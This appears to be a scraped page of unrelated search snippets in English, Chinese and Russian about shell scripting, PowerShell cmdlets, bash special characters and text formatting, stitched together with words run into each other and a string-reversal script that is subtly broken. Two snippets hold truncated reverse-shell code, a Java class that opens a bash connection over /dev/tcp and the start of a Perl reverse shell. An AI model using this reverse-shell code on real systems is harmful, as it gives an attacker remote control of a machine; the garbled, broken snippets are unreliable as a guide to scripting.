Write a script to reverse a given string read -p "please enter a String: " word length=$(echo -n $word | wc -c) output="" while [ $length -ge 1 ] do lastcharcter=$(echo -n word | cut -c $length) output=$output$lastcharacter let length-- done echo "the reversed character...
If you can enter commands into the shell, you can write shell scripts (also known as Bourne shell scripts). A shell script is a series of commands written in a file; the shell reads the commands from the file just as it would if you typed them into a terminal. 如果你能在 shell 中...
[-UnixSocket <UnixDomainSocketEndPoint>] [-Proxy <Uri>] [-ProxyCredential <PSCredential>] [-ProxyUseDefaultCredentials] [-Body <Object>] [-Form <IDictionary>] [-ContentType <String>] [-TransferEncoding <String>] [-InFile <String>] [-OutFile <String>] [-PassThru] [-Resume] ...
惊叹号(negate or reverse) 通常它代表反逻辑的作用,譬如条件侦测中,用 != 来代表\"不等于\" if [ \"$?\" != 0 ]thenecho \"Executes error\"exit 1fi 在规则表达式中她担任 \"反逻辑\" 的角色 ls a[!0-9] 上例,代表显示除了a0, a1 ... a9 这几个文件的其他文件。 : 冒号 在bash 中,这...
编辑ReverseShell.java publicclassReverseShell{/*** @param args* @throws Exception*/publicstaticvoidmain(String[]args)throwsException{// TODO Auto-generated method stubRuntimer=Runtime.getRuntime();Stringcmd[]={"/bin/bash","-c","exec 5<>/dev/tcp/[host]/[port];cat <&5 | while read ...
/usr/bin/perl -w# perl-reverse-shell-AReverse Shell implementationinPERLuse strict;use Socket;use FileHandle;usePOSIX;my $VERSION="1.0";# Where to send the reverse shell.Change these.my $ip='127.0.0.1';my $port=1234;# Options my $daemon=1;my $auth=0;#0means authentication is ...
Redirecting the output of a PowerShell command (cmdlet, function, script) using the redirection operator (>) is functionally equivalent to piping toOut-Filewith no extra parameters. PowerShell 7.4 changed the behavior of the redirection operator when used to redirect thestdoutstream of a native ...
cohdjn / PSScriptTools Public forked from jdhitsolutions/PSScriptTools Notifications You must be signed in to change notification settings Fork 0 Star 0 A set of PowerShell functions you might use to enhance your own functions and scripts or to facilitate working in the console. Most ...
善用这个观念,对精简 script 有相当的帮助。 ! 惊叹号(negate or reverse) 通常它代表反逻辑的作用,譬如条件侦测中,用 != 来代表"不等于" [root@VM_16_9_centos ~]# cat a.sh #!/bin/bash if [ "$?" != 0 ];then echo "Executes error" ...
ReverseOff —отключаетобратныйрежим Курсив—превращаеткурсивна Курсив- Превращаеткурсив Подчеркивание. Включаетподчеркивание ...